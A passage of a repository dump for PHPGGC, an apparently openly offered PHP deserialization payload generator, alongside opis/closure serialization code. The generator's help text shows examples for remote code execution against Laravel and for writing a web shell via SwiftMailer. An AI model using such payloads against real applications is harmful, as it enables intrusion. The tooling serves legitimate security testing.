196 | ### v1.3.0, 2014.10.18
197 |
198 | * Added autoload file
199 | * Changed README file
200 |
201 | ### Opis Closure 1.2.2
202 |
203 | * Started changelog
204 |
--------------------------------------------------------------------------------
/lib/PHPGGC.php:
--------------------------------------------------------------------------------
1 | base = realpath(dirname(dirname(__FILE__)));
19 | spl_autoload_register(array($this, 'autoload'));
20 | $this->chains = $this->get_gadget_chains();
21 | }
22 |
23 | /**
24 | * Generates a payload from the command line arguments.
25 | * First, the gadget is loaded, and then it is generated using additional
26 | * arguments.
27 | */
28 | public function generate()
29 | {
30 | global $argv;
31 |
32 | $parameters = $this->parse_cmdline($argv);
33 | if(count($parameters) < 1)
34 | {
35 | $this->help();
36 | return;
37 | }
38 |
39 | $class = array_shift($parameters);
40 | $gc = $this->get_gadget_chain($class);
41 |
42 | if(@$this->arguments['informations'])
43 | {
44 | $this->o($gc, 2);
45 | $this->o($this->_get_command_line_gc($gc));
46 | }
47 | else
48 | {
49 | $parameters = $this->get_type_parameters($gc, $parameters);
50 | $generated = $this->serialize($gc, $parameters);
51 | print($generated . "\n");
52 | }
53 | }
54 |
55 | /**
56 | * Gets an instance of the given GadgetChain class.
57 | */
58 | public function get_gadget_chain($class)
59 | {
60 | $full = strtolower('GadgetChain/' . $class);
61 |
62 | if(!in_array($full, array_keys($this->chains)))
63 | {
64 | throw new PHPGGC\Exception('Unknown gadget chain: ' . $class);
65 | }
66 |
67 | return $this->chains[$full];
68 | }
69 |
70 | /**
71 | * Generates the serialized payload from given gadget and parameters.
72 | */
73 | public function serialize($gc, $parameters)
74 | {
75 | $gc->load_gadgets();
76 |
77 | $parameters = $gc->pre_process($parameters);
78 | $payload = $gc->generate($parameters);
79 | $payload = $this->wrap($payload);
80 |
81 | $serialized = serialize($payload);
82 |
83 | $serialized = $gc->post_process($serialized);
84 | $serialized = $this->apply_filters($serialized);
85 |
86 | return $serialized;
87 | }
88 |
89 | /**
90 | * Includes every file that might contain a gadget.
91 | */
92 | protected function include_gadget_chains()
93 | {
94 | $base = $this->base . self::DIR_GADGETCHAINS;
95 | $files = glob($base . '/*/*/*/chain.php');
96 | array_map(function ($file)
97 | {
98 | include_once $file;
99 | }, $files);
100 | }
101 |
102 | /**
103 | * Loads every available gadget and returns an array of the form
104 | * class_name => object.
105 | */
106 | public function get_gadget_chains()
107 | {
108 | $this->include_gadget_chains();
109 |
110 | $classes = get_declared_classes();
111 | $classes = array_filter($classes, function($class)
112 | {
113 | return is_subclass_of($class, '\\PHPGGC\\GadgetChain') &&
114 | strpos($class, 'GadgetChain\\') === 0;
115 | });
116 | $objects = array_map(function($class)
117 | {
118 | return new $class();
119 | }, $classes);
120 |
121 | # Convert backslashes in classes names to forward slashes,
122 | # so that the command line is easier to use
123 | $classes = array_map(function($class)
124 | {
125 | return strtolower(str_replace('\\', '/', $class));
126 | }, $classes);
127 | return array_combine($classes, $objects);
128 | }
129 |
130 | /**
131 | * Includes a PHP file containing a wrapper($data) function.
132 | * This method will be called after the gadget chain has been generated,
133 | * and before serialize() is called, in order to modify the payload if
134 | * need be.
135 | */
136 | public function set_wrapper($file)
137 | {
138 | include $file;
139 | $this->_has_wrapper = true;
140 | }
141 |
142 | /**
143 | * Wraps the payload into something else if the user required it.
144 | * For instance, if a specific unserialize call requires an array, one could
145 | * build a wrapper function of the likes:
146 | *
147 | * function wrapper($description)
148 | * {
149 | * return array('id' => '123', 'data' => $description['payload']);
150 | * }
151 | *
152 | * The returned serialized payload would be an array which contains the
153 | * payload under the key "data".
154 | */
155 | public function wrap($payload)
156 | {
157 | if(isset($this->_has_wrapper))
158 | {
159 | $payload = call_user_func('wrapper', $payload);
160 | }
161 |
162 | return $payload;
163 | }
164 |
165 | /**
166 | * Autoloads PHPGGC base classes only, in order to avoid conflict between
167 | * different gadget chains.
168 | */
169 | public function autoload($class)
170 | {
171 | if(strpos($class, 'PHPGGC\\') === 0)
172 | {
173 | $file = str_replace('\\', '/', $class) . '.php';
174 | include_once $this->base . self::DIR_LIB . '/' . $file;
175 | }
176 | }
177 |
178 | /**
179 | * Creates the file structure for a new gadgetchain targeting $name and of
180 | * type $type.
181 | */
182 | function new_gc($name, $type)
183 | {
184 | $namespace = '\\PHPGGC\\GadgetChain';
185 |
186 | # Check type
187 |
188 | $type = strtoupper($type);
189 | $reflection = new ReflectionClass($namespace);
190 | $constant = 'TYPE_' . $type;
191 | $value = $reflection->getConstant($constant);
192 |
193 | if($value === false)
194 | {
195 | $this->o('Invalid type: ' . $type);
196 | exit(0);
197 | }
198 |
199 | # Match base class from type
200 |
201 | $base = $this->base . self::DIR_BASE_GADGETCHAINS;
202 | $files = glob($base . '/*.php');
203 |
204 | foreach($files as $file)
205 | {
206 | $classname = substr(basename($file), 0, -4);
207 | $classname = $namespace . '\\' . $classname;
208 | $reflection = new ReflectionClass($classname);
209 |
210 | if($reflection->getProperty('type')->getValue() === $value)
211 | {
212 | $baseclass = $reflection;
213 | break;
214 | }
215 | }
216 |
217 | if(!isset($baseclass))
218 | {
219 | $this->o('No base class for type: ' . $type);
220 | exit(0);
221 | }
222 |
223 | # Create directory structure
224 |
225 | $base = $this->base . self::DIR_GADGETCHAINS;
226 | $base = $base . '/' . $name . '/' . $type . '/';
227 |
228 | for($i=1;file_exists($base . $i);$i++);
229 |
230 | $base = $base . $i;
231 | mkdir($base, 0777, true);
232 |
233 | $replacements = [
234 | '{NAME}' => $name,
235 | '{CLASS_NAME}' => $type . $i,
236 | '{BASE_CLASS_NAME}' => $baseclass->getName()
237 | ];
238 |
239 | $this->create_from_template($base, 'chain.php', $replacements);
240 | $this->create_from_template($base, 'gadgets.php');
241 |
242 | # Display success message
243 |
244 | $full_name = $replacements['{NAME}'] . '\\'
245 | . $replacements['{CLASS_NAME}'];
246 | $base = substr($base, strlen($this->base) + 1);
247 |
248 | $this->o('Created ' . $full_name . ' under: ' . $base);
249 |
250 | exit(0);
251 | }
252 |
253 | /**
254 | * Creates a file in directory $path from template $name.
255 | */
256 | function create_from_template($path, $name, $replacements=null)
257 | {
258 | $template = $this->base . self::DIR_TEMPLATES . '/' . $name;
259 | $template = file_get_contents($template);
260 |
261 | if($replacements)
262 | $template = strtr($template, $replacements);
263 |
264 | file_put_contents($path . '/' . $name, $template);
265 | }
266 |
267 | #
268 | # Display
269 | #
270 |
271 | /**
272 | * Displays a message.
273 | */
274 | function output($message, $r=1)
275 | {
276 | $n = str_repeat("\n", $r);
277 | print($message . $n);
278 | }
279 |
280 | /**
281 | * Wrapper for output().
282 | */
283 | protected function o($message, $r=1)
284 | {
285 | $this->output($message, $r);
286 | }
287 |
288 | /**
289 | * Applies command line filters on the serialized payload.
290 | */
291 | protected function apply_filters($serialized)
292 | {
293 | extract($this->arguments, EXTR_SKIP);
294 |
295 | if(@$base64)
296 | $serialized = base64_encode($serialized);
297 | if(@$urlencode)
298 | $serialized = urlencode($serialized);
299 | if(@$softencode)
300 | {
301 | $keys = str_split("%\x00\n\r\t+");
302 | $values = array_map('urlencode', $keys);
303 | $serialized = str_replace($keys, $values, $serialized);
304 | }
305 |
306 | return $serialized;
307 | }
308 |
309 | /**
310 | * Generates an ASCII array.
311 | */
312 | protected function table($titles, $data)
313 | {
314 | $titles = array_map('strtoupper', $titles);
315 | $data = array_merge([$titles], $data);
316 | $pad = array_fill(0, count($titles), 0);
317 |
318 | foreach($data as $row)
319 | {
320 | foreach($row as $i => $cell)
321 | {
322 | $pad[$i] = max($pad[$i], strlen($cell));
323 | }
324 | }
325 |
326 | $array = '';
327 |
328 | foreach($data as $row)
329 | {
330 | foreach($row as $i => $cell)
331 | {
332 | $array .= str_pad($cell, $pad[$i]) . ' ';
333 | }
334 | $array .= "\n";
335 | }
336 |
337 | return $array;
338 | }
339 |
340 | protected function list_gc()
341 | {
342 | $this->o("");
343 | $this->o("Gadget Chains");
344 | $this->o("-------------", 2);
345 |
346 | $titles = [
347 | 'Name',
348 | 'Version',
349 | 'Type',
350 | 'Vector',
351 | 'I'
352 | ];
353 |
354 | $data = [];
355 | foreach($this->chains as $chain)
356 | {
357 | $data[] = [
358 | $chain->get_name(),
359 | $chain->version,
360 | $chain::$type,
361 | $chain->vector,
362 | ($chain->informations ? '*' : '')
363 | ];
364 | }
365 |
366 | $this->o($this->table($titles, $data));
367 |
368 | exit(0);
369 | }
370 |
371 | protected function help()
372 | {
373 | $this->o("");
374 | $this->o("PHPGGC: PHP Generic Gadget Chains");
375 | $this->o("---------------------------------", 2);
376 |
377 | $this->o("USAGE");
378 | $this->o(" " . $this->_get_command_line(
379 | '[-h|-l|-w|-h|-s|-u|-b|-i]',
380 | '',
381 | '[arguments]'
382 | ), 2);
383 |
384 | $this->o("INFORMATION");
385 | $this->o(" -h Displays help");
386 | $this->o(" -l Lists available gadget chains");
387 | $this->o(" -i Displays informations about a gadget chain");
388 | $this->o("");
389 | $this->o("MODIFICATION");
390 | $this->o(" -w ");
391 | $this->o(" Specifies a file containing a function: wrapper(\$payload)");
392 | $this->o(" This function will be called before the generated gadget is serialized.");
393 | $this->o("");
394 | $this->o("ENCODING");
395 | $this->o(" -s Soft URLencode");
396 | $this->o(" -u URLencodes the payload");
397 | $this->o(" -b Converts the output into base64");
398 | $this->o("");
399 |
400 | $this->o("EXAMPLES");
401 | $this->o(" " . $this->_get_command_line(
402 | 'Laravel/RCE1',
403 | '\'phpinfo().die();\''
404 | ));
405 | $this->o(" " . $this->_get_command_line(
406 | 'SwiftMailer/FW1',
407 | '/var/www/html/shell.php',
408 | '/tmp/local_file_to_write'
409 | ));
410 | $this->o("");
411 |
412 | exit(0);
413 | }
414 |
415 | /**
416 | * Parses the command line arguments.
417 | */
418 | protected function parse_cmdline($argv)
419 | {
420 | unset($argv[0]);
421 |
422 | $valid_arguments = [
423 | 'new' => true,
424 | 'informations' => false,
425 | 'help' => false,
426 | 'list' => false,
427 | 'wrapper' => true,
428 | 'softencode' => false,
429 | 'base64' => false,
430 | 'urlencode' => false,
431 | ];
432 |
433 | $arguments = [
434 | ];
435 |
436 | $count = count($argv);
437 |
438 | foreach($argv as $i => $arg)
439 | {
440 | if($arg{0} == '-')
441 | {
442 | $arg = substr($arg, 1);
443 | $valid = false;
444 |
445 | foreach($valid_arguments as $argument => $has_parameter)
446 | {
447 | if($argument{0} == $arg)
448 | {
449 | $valid = true;
450 |
451 | if($has_parameter)
452 | {
453 | if($count < $i)
454 | {
455 | $e = 'Parameter ' . $arg . ' expects a value';
456 | throw new \PHPGGC\Exception($e);
457 | }
458 |
459 | $arguments[$argument] = $argv[$i+1];
460 |
461 | # Delete argument's value
462 | unset($argv[$i+1]);
463 | }
464 | else
465 | {
466 | $arguments[$argument] = true;
467 | }
468 |
469 | break;
470 | }
471 | }
472 |
473 | if(!$valid)
474 | {
475 | throw new PHPGGC\Exception('Unknown parameter: ' . $arg);
476 | }
477 |
478 | # Delete argument
479 | unset($argv[$i]);
480 | }
481 | }
482 |
483 | $argv = array_values($argv);
484 |
485 | # Handle optional arguments in case they need to be handled now.
486 | # Otherwise, just save them.
487 |
488 | foreach($arguments as $argument => $value)
489 | {
490 | switch($argument)
491 | {
492 | case 'new':
493 | if(count($argv) < 1)
494 | {
495 | $line = $this->_get_command_line(' ');
496 | $this->o($line);
497 | }
498 | else
499 | $this->new_gc($value, $argv[0]);
500 |
501 | break;
502 | case 'help':
503 | $this->help();
504 | break;
505 | case 'list':
506 | $this->list_gc();
507 | break;
508 | case 'wrapper':
509 | $this->set_wrapper($value);
510 | break;
511 | }
512 | }
513 |
514 | $this->arguments = $arguments;
515 |
516 | # Return remaining arguments
517 | return array_values($argv);
518 | }
519 |
520 | /**
521 | * Convert command line parameters into an array of named parameters,
522 | * specific to the type of payload.
523 | */
524 | protected function get_type_parameters($gc, $parameters)
525 | {
526 | $arguments = $gc->parameters;
527 |
528 | $values = @array_combine($arguments, $parameters);
529 |
530 | if($values === false)
531 | {
532 | $this->o($gc, 2);
533 | $message = 'Invalid arguments for type "' . $gc::$type . '" ' . "\n"
534 | . $this->_get_command_line_gc($gc);
535 | throw new PHPGGC\Exception($message);
536 | }
537 |
538 | return $values;
539 | }
540 |
541 | protected function _get_command_line_gc($gc)
542 | {
543 | $arguments = array_map(function ($a) {
544 | return '<' . $a . '>';
545 | }, $gc->parameters);
546 | return $this->_get_command_line($gc->get_name(), ...$arguments);
547 | }
548 |
549 | private function _get_command_line(...$arguments)
550 | {
551 | return './phpggc ' . implode(' ', $arguments);
552 | }
553 | }
--------------------------------------------------------------------------------
/lib/opis/closure/src/SerializableClosure.php:
--------------------------------------------------------------------------------
1 | closure = $closure;
73 | if (static::$context !== null) {
74 | $this->scope = static::$context->scope;
75 | $this->scope->toserialize++;
76 | }
77 | }
78 |
79 | /**
80 | * Get the Closure object
81 | *
82 | * @return Closure The wrapped closure
83 | */
84 | public function getClosure()
85 | {
86 | return $this->closure;
87 | }
88 |
89 | /**
90 | * Get the reflector for closure
91 | *
92 | * @return ReflectionClosure
93 | */
94 | public function getReflector()
95 | {
96 | if ($this->reflector === null) {
97 | $this->reflector = new ReflectionClosure($this->closure, $this->code);
98 | $this->code = null;
99 | }
100 |
101 | return $this->reflector;
102 | }
103 |
104 | /**
105 | * Implementation of magic method __invoke()
106 | */
107 | public function __invoke()
108 | {
109 | return call_user_func_array($this->closure, func_get_args());
110 | }
111 |
112 | /**
113 | * Implementation of Serializable::serialize()
114 | *
115 | * @return string The serialized closure
116 | */
117 | public function serialize()
118 | {
119 | if ($this->scope === null) {
120 | $this->scope = new ClosureScope();
121 | $this->scope->toserialize++;
122 | }
123 |
124 | $this->scope->serializations++;
125 |
126 | $scope = $object = null;
127 | $reflector = $this->getReflector();
128 |
129 | if($reflector->isBindingRequired()){
130 | $object = $reflector->getClosureThis();
131 | static::wrapClosures($object, $this->scope);
132 | if($scope = $reflector->getClosureScopeClass()){
133 | $scope = $scope->name;
134 | }
135 | } elseif($reflector->isScopeRequired()) {
136 | if($scope = $reflector->getClosureScopeClass()){
137 | $scope = $scope->name;
138 | }
139 | }
140 |
141 | $this->reference = spl_object_hash($this->closure);
142 |
143 | $this->scope[$this->closure] = $this;
144 |
145 | $use = $this->transformUseVariables($reflector->getUseVariables());
146 | $code = $reflector->getCode();
147 |
148 | $this->mapByReference($use);
149 |
150 | $ret = \serialize(array(
151 | 'use' => $use,
152 | 'function' => $code,
153 | 'scope' => $scope,
154 | 'this' => $object,
155 | 'self' => $this->reference,
156 | ));
157 |
158 | if (static::$securityProvider !== null) {
159 | $data = static::$securityProvider->sign($ret);
160 | $ret = '@' . $data['hash'] . '.' . $data['closure'];
161 | }
162 |
163 | if (!--$this->scope->serializations && !--$this->scope->toserialize) {
164 | $this->scope = null;
165 | }
166 |
167 | return $ret;
168 | }
169 |
170 | /**
171 | * Transform the use variables before serialization.
172 | *
173 | * @param array $data The Closure's use variables
174 | * @return array
175 | */
176 | protected function transformUseVariables($data)
177 | {
178 | return $data;
179 | }
180 |
181 | /**
182 | * Implementation of Serializable::unserialize()
183 | *
184 | * @param string $data Serialized data
185 | * @throws SecurityException
186 | */
187 | public function unserialize($data)
188 | {
189 | ClosureStream::register();
190 |
191 | if (static::$securityProvider !== null) {
192 | if ($data[0] !== '@') {
193 | throw new SecurityException("The serialized closure is not signed. ".
194 | "Make sure you use a security provider for both serialization and unserialization.");
195 | }
196 |
197 | if ($data[1] !== '{') {
198 | $separator = strpos($data, '.');
199 | if ($separator === false) {
200 | throw new SecurityException('Invalid signed closure');
201 | }
202 | $hash = substr($data, 1, $separator - 1);
203 | $closure = substr($data, $separator + 1);
204 |
205 | $data = ['hash' => $hash, 'closure' => $closure];
206 |
207 | unset($hash, $closure);
208 | } else {
209 | $data = json_decode(substr($data, 1), true);
210 | }
211 |
212 | if (!is_array($data) || !static::$securityProvider->verify($data)) {
213 | throw new SecurityException("Your serialized closure might have been modified and it's unsafe to be unserialized. " .
214 | "Make sure you use the same security provider, with the same settings, " .
215 | "both for serialization and unserialization.");
216 | }
217 |
218 | $data = $data['closure'];
219 | } elseif ($data[0] === '@') {
220 | if ($data[1] !== '{') {
221 | $separator = strpos($data, '.');
222 | if ($separator === false) {
223 | throw new SecurityException('Invalid signed closure');
224 | }
225 | $hash = substr($data, 1, $separator - 1);
226 | $closure = substr($data, $separator + 1);
227 |
228 | $data = ['hash' => $hash, 'closure' => $closure];
229 |
230 | unset($hash, $closure);
231 | } else {
232 | $data = json_decode(substr($data, 1), true);
233 | }
234 |
235 | if (!is_array($data) || !isset($data['closure']) || !isset($data['hash'])) {
236 | throw new SecurityException('Invalid signed closure');
237 | }
238 |
239 | $data = $data['closure'];
240 | }
241 |
242 | $this->code = \unserialize($data);
243 |
244 | // unset data
245 | unset($data);
246 |
247 | $this->code['objects'] = array();
248 |
249 | if ($this->code['use']) {
250 | $this->scope = new ClosureScope();
251 | $this->code['use'] = $this->resolveUseVariables($this->code['use']);
252 | $this->mapPointers($this->code['use']);
253 | extract($this->code['use'], EXTR_OVERWRITE | EXTR_REFS);
254 | $this->scope = null;
255 | }
256 |
257 | $this->closure = include(ClosureStream::STREAM_PROTO . '://' . $this->code['function']);
258 |
259 | if($this->code['this'] === $this){
260 | $this->code['this'] = null;
261 | }
262 |
263 | if ($this->code['scope'] !== null || $this->code['this'] !== null) {
264 | $this->closure = $this->closure->bindTo($this->code['this'], $this->code['scope']);
265 | }
266 |
267 | if(!empty($this->code['objects'])){
268 | foreach ($this->code['objects'] as $item){
269 | $item['property']->setValue($item['instance'], $item['object']->getClosure());
270 | }
271 | }
272 |
273 | $this->code = $this->code['function'];
274 | }
275 |
276 | /**
277 | * Resolve the use variables after unserialization.
278 | *
279 | * @param array $data The Closure's transformed use variables
280 | * @return array
281 | */
282 | protected function resolveUseVariables($data)
283 | {
284 | return $data;
285 | }
286 |
287 | /**
288 | * Wraps a closure and sets the serialization context (if any)
289 | *
290 | * @param Closure $closure Closure to be wrapped
291 | *
292 | * @return self The wrapped closure
293 | */
294 | public static function from(Closure $closure)
295 | {
296 | if (static::$context === null) {
297 | $instance = new static($closure);
298 | } elseif (isset(static::$context->scope[$closure])) {
299 | $instance = static::$context->scope[$closure];
300 | } else {
301 | $instance = new static($closure);
302 | static::$context->scope[$closure] = $instance;
303 | }
304 |
305 | return $instance;
306 | }
307 |
308 | /**
309 | * Increments the context lock counter or creates a new context if none exist
310 | */
311 | public static function enterContext()
312 | {
313 | if (static::$context === null) {
314 | static::$context = new ClosureContext();
315 | }
316 |
317 | static::$context->locks++;
318 | }
319 |
320 | /**
321 | * Decrements the context lock counter and destroy the context when it reaches to 0
322 | */
323 | public static function exitContext()
324 | {
325 | if (static::$context !== null && !--static::$context->locks) {
326 | static::$context = null;
327 | }
328 | }
329 |
330 | /**
331 | * @param string $secret
332 | */
333 | public static function setSecretKey($secret)
334 | {
335 | if(static::$securityProvider === null){
336 | static::$securityProvider = new SecurityProvider($secret);
337 | }
338 | }
339 |
340 | /**
341 | * @param ISecurityProvider $securityProvider
342 | */
343 | public static function addSecurityProvider(ISecurityProvider $securityProvider)
344 | {
345 | static::$securityProvider = $securityProvider;
346 | }
347 |
348 | /**
349 | * Remove security provider
350 | */
351 | public static function removeSecurityProvider()
352 | {
353 | static::$securityProvider = null;
354 | }
355 |
356 | /**
357 | * @return null|ISecurityProvider
358 | */
359 | public static function getSecurityProvider()
360 | {
361 | return static::$securityProvider;
362 | }
363 |
364 | /**
365 | * Wrap closures
366 | *
367 | * @internal
368 | * @param $data
369 | * @param ClosureScope|SplObjectStorage|null $storage
370 | */
371 | public static function wrapClosures(&$data, SplObjectStorage $storage = null)
372 | {
373 | static::enterContext();
374 |
375 | if($storage === null){
376 | $storage = static::$context->scope;
377 | }
378 |
379 | if($data instanceof Closure){
380 | $data = static::from($data);
381 | } elseif (is_array($data)){
382 | if(isset($data[self::ARRAY_RECURSIVE_KEY])){
383 | return;
384 | }
385 | $data[self::ARRAY_RECURSIVE_KEY] = true;
386 | foreach ($data as $key => &$value){
387 | if($key === self::ARRAY_RECURSIVE_KEY){
388 | continue;
389 | }
390 | static::wrapClosures($value, $storage);
391 | }
392 | unset($value);
393 | unset($data[self::ARRAY_RECURSIVE_KEY]);
394 | } elseif($data instanceof \stdClass){
395 | if(isset($storage[$data])){
396 | $data = $storage[$data];
397 | return;
398 | }
399 | $data = $storage[$data] = clone($data);
400 | foreach ($data as &$value){
401 | static::wrapClosures($value, $storage);
402 | }
403 | unset($value);
404 | } elseif (is_object($data) && ! $data instanceof static){
405 | if(isset($storage[$data])){
406 | $data = $storage[$data];
407 | return;
408 | }
409 | $instance = $data;
410 | $reflection = new ReflectionObject($instance);
411 | if(!$reflection->isUserDefined()){
412 | $storage[$instance] = $data;
413 | return;
414 | }
415 | $storage[$instance] = $data = $reflection->newInstanceWithoutConstructor();
416 |
417 | do{
418 | if(!$reflection->isUserDefined()){
419 | break;
420 | }
421 | foreach ($reflection->getProperties() as $property){
422 | if($property->isStatic() || !$property->getDeclaringClass()->isUserDefined()){
423 | continue;
424 | }
425 | $property->setAccessible(true);
426 | $value = $property->getValue($instance);
427 | if(is_array($value) || is_object($value)){
428 | static::wrapClosures($value, $storage);
429 | }
430 | $property->setValue($data, $value);
431 | };
432 | } while($reflection = $reflection->getParentClass());
433 | }
434 |
435 | static::exitContext();
436 | }
437 |
438 | /**
439 | * Unwrap closures
440 | *
441 | * @internal
442 | * @param $data
443 | * @param SplObjectStorage|null $storage
444 | */
445 | public static function unwrapClosures(&$data, SplObjectStorage $storage = null)
446 | {
447 | if($storage === null){
448 | $storage = static::$context->scope;
449 | }
450 |
451 | if($data instanceof static){
452 | $data = $data->getClosure();
453 | } elseif (is_array($data)){
454 | if(isset($data[self::ARRAY_RECURSIVE_KEY])){
455 | return;
456 | }
457 | $data[self::ARRAY_RECURSIVE_KEY] = true;
458 | foreach ($data as $key => &$value){
459 | if($key === self::ARRAY_RECURSIVE_KEY){
460 | continue;
461 | }
462 | static::unwrapClosures($value, $storage);
463 | }
464 | unset($data[self::ARRAY_RECURSIVE_KEY]);
465 | }elseif ($data instanceof \stdClass){
466 | if(isset($storage[$data])){
467 | return;
468 | }
469 | $storage[$data] = true;
470 | foreach ($data as &$property){
471 | static::unwrapClosures($property, $storage);
472 | }
473 | } elseif (is_object($data) && !($data instanceof Closure)){
474 | if(isset($storage[$data])){
475 | return;
476 | }
477 | $storage[$data] = true;
478 | $reflection = new ReflectionObject($data);
479 |
480 | do{
481 | if(!$reflection->isUserDefined()){
482 | break;
483 | }
484 | foreach ($reflection->getProperties() as $property){
485 | if($property->isStatic() || !$property->getDeclaringClass()->isUserDefined()){
486 | continue;
487 | }
488 | $property->setAccessible(true);
489 | $value = $property->getValue($data);
490 | if(is_array($value) || is_object($value)){
491 | static::unwrapClosures($value, $storage);
492 | $property->setValue($data, $value);
493 | }
494 | };
495 | } while($reflection = $reflection->getParentClass());
496 | }
497 | }
498 |
499 | /**
500 | * Creates a new closure from arbitrary code,
501 | * emulating create_function, but without using eval
502 | *
503 | * @param string$args
504 | * @param string $code
505 | * @return Closure
506 | */
507 | public static function createClosure($args, $code)
508 | {
509 | ClosureStream::register();
510 | return include(ClosureStream::STREAM_PROTO . '://function(' . $args. '){' . $code . '};');
511 | }
512 |
513 | /**
514 | * Internal method used to map closure pointers
515 | * @internal
516 | * @param $data
517 | */
518 | protected function mapPointers(&$data)
519 | {
520 | $scope = $this->scope;
521 |
522 | if ($data instanceof static) {
523 | $data = &$data->closure;
524 | } elseif (is_array($data)) {
525 | if(isset($data[self::ARRAY_RECURSIVE_KEY])){
526 | return;
527 | }
528 | $data[self::ARRAY_RECURSIVE_KEY] = true;
529 | foreach ($data as $key => &$value){
530 | if($key === self::ARRAY_RECURSIVE_KEY){
531 | continue;
532 | } elseif ($value instanceof static) {
533 | $data[$key] = &$value->closure;
534 | } elseif ($value instanceof SelfReference && $value->hash === $this->code['self']){
535 | $data[$key] = &$this->closure;
536 | } else {
537 | $this->mapPointers($value);
538 | }
539 | }
540 | unset($value);
541 | unset($data[self::ARRAY_RECURSIVE_KEY]);
542 | } elseif ($data instanceof \stdClass) {
543 | if(isset($scope[$data])){
544 | return;
545 | }
546 | $scope[$data] = true;
547 | foreach ($data as $key => &$value){
548 | if ($value instanceof SelfReference && $value->hash === $this->code['self']){
549 | $data->{$key} = &$this->closure;
550 | } elseif(is_array($value) || is_object($value)) {
551 | $this->mapPointers($value);
552 | }
553 | }
554 | unset($value);
555 | } elseif (is_object($data) && !($data instanceof Closure)){
556 | if(isset($scope[$data])){
557 | return;
558 | }
559 | $scope[$data] = true;
560 | $reflection = new ReflectionObject($data);
561 | do{
562 | if(!$reflection->isUserDefined()){
563 | break;
564 | }
565 | foreach ($reflection->getProperties() as $property){
566 | if($property->isStatic() || !$property->getDeclaringClass()->isUserDefined()){
567 | continue;
568 | }
569 | $property->setAccessible(true);
570 | $item = $property->getValue($data);
571 | if ($item instanceof SerializableClosure || ($item instanceof SelfReference && $item->hash === $this->code['self'])) {
572 | $this->code['objects'][] = array(
573 | 'instance' => $data,
574 | 'property' => $property,
575 | 'object' => $item instanceof SelfReference ? $this : $item,
576 | );
577 | } elseif (is_array($item) || is_object($item)) {
578 | $this->mapPointers($item);
579 | $property->setValue($data, $item);
580 | }
581 | }
582 | } while($reflection = $reflection->getParentClass());
583 | }
584 | }
585 |
586 | /**
587 | * Internal method used to map closures by reference
588 | *
589 | * @internal
590 | * @param mixed &$data
591 | */
592 | protected function mapByReference(&$data)
593 | {
594 | if ($data instanceof Closure) {
595 | if($data === $this->closure){
596 | $data = new SelfReference($this->reference);
597 | return;
598 | }
599 |
600 | if (isset($this->scope[$data])) {
601 | $data = $this->scope[$data];
602 | return;
603 | }
604 |
605 | $instance = new static($data);
606 |
607 | if (static::$context !== null) {
608 | static::$context->scope->toserialize--;
609 | } else {
610 | $instance->scope = $this->scope;
611 | }
612 |
613 | $data = $this->scope[$data] = $instance;
614 | } elseif (is_array($data)) {
615 | if(isset($data[self::ARRAY_RECURSIVE_KEY])){
616 | return;
617 | }
618 | $data[self::ARRAY_RECURSIVE_KEY] = true;
619 | foreach ($data as $key => &$value){
620 | if($key === self::ARRAY_RECURSIVE_KEY){
621 | continue;
622 | }
623 | $this->mapByReference($value);
624 | }
625 | unset($value);
626 | unset($data[self::ARRAY_RECURSIVE_KEY]);
627 | } elseif ($data instanceof \stdClass) {
628 | if(isset($this->scope[$data])){
629 | $data = $this->scope[$data];
630 | return;
631 | }
632 | $instance = $data;
633 | $this->scope[$instance] = $data = clone($data);
634 |
635 | foreach ($data as &$value){
636 | $this->mapByReference($value);
637 | }
638 | unset($value);
639 | } elseif (is_object($data) && !$data instanceof SerializableClosure){
640 | if(isset($this->scope[$data])){
641 | $data = $this->scope[$data];
642 | return;
643 | }
644 |
645 | $instance = $data;
646 | $reflection = new ReflectionObject($data);
647 | if(!$reflection->isUserDefined()){
648 | $this->scope[$instance] = $data;
649 | return;
650 | }
651 | $this->scope[$instance] = $data = $reflection->newInstanceWithoutConstructor();
652 |
653 | do{
654 | if(!$reflection->isUserDefined()){
655 | break;
656 | }
657 | foreach ($reflection->getProperties() as $property){
658 | if($property->isStatic() || !$property->getDeclaringClass()->isUserDefined()){
659 | continue;
660 | }
661 | $property->setAccessible(true);
662 | $value = $property->getValue($instance);
663 | if(is_array($value) || is_object($value)){
664 | $this->mapByReference($value);
665 | }
666 | $property->setValue($data, $value);
667 | }
668 | } while($reflection = $reflection->getParentClass());
669 | }
670 | }
671 |
672 | }
673 |
--------------------------------------------------------------------------------
/lib/opis/closure/src/ReflectionClosure.php:
--------------------------------------------------------------------------------
1 | code = $code;
39 | parent::__construct($closure);
40 | }
41 |
42 | /**
43 | * @return bool
44 | */
45 | public function isStatic()
46 | {
47 | if ($this->isStaticClosure === null) {
48 | $this->isStaticClosure = strtolower(substr($this->getCode(), 0, 6)) === 'static';
49 | }
50 |
51 | return $this->isStaticClosure;
52 | }
53 |
54 | /**
55 | * @return string
56 | */
57 | public function getCode()
58 | {
59 | if($this->code !== null){
60 | return $this->code;
61 | }
62 |
63 | $fileName = $this->getFileName();
64 | $line = $this->getStartLine() - 1;
65 |
66 | $match = ClosureStream::STREAM_PROTO . '://';
67 |
68 | if ($line === 1 && substr($fileName, 0, strlen($match)) === $match) {
69 | return $this->code = substr($fileName, strlen($match));
70 | }
71 |
72 | $className = null;
73 |
74 |
75 | if (null !== $className = $this->getClosureScopeClass()) {
76 | $className = '\\' . trim($className->getName(), '\\');
77 | }
78 |
79 |
80 | if($php7 = PHP_MAJOR_VERSION === 7){
81 | switch (PHP_MINOR_VERSION){
82 | case 0:
83 | $php7_types = array('string', 'int', 'bool', 'float');
84 | break;
85 | case 1:
86 | $php7_types = array('string', 'int', 'bool', 'float', 'void');
87 | break;
88 | case 2:
89 | default:
90 | $php7_types = array('string', 'int', 'bool', 'float', 'void', 'object');
91 | }
92 | }
93 |
94 | $ns = $this->getNamespaceName();
95 | $nsf = $ns == '' ? '' : ($ns[0] == '\\' ? $ns : '\\' . $ns);
96 |
97 | $_file = var_export($fileName, true);
98 | $_dir = var_export(dirname($fileName), true);
99 | $_namespace = var_export($ns, true);
100 | $_class = var_export(trim($className, '\\'), true);
101 | $_function = $ns . ($ns == '' ? '' : '\\') . '{closure}';
102 | $_method = ($className == '' ? '' : trim($className, '\\') . '::') . $_function;
103 | $_function = var_export($_function, true);
104 | $_method = var_export($_method, true);
105 | $_trait = null;
106 |
107 | $tokens = $this->getTokens();
108 | $state = $lastState = 'start';
109 | $inside_anonymous = false;
110 | $anonymous_mark = 0;
111 | $open = 0;
112 | $code = '';
113 | $id_start = $id_start_ci = $id_name = $context = '';
114 | $classes = $functions = $constants = null;
115 | $use = array();
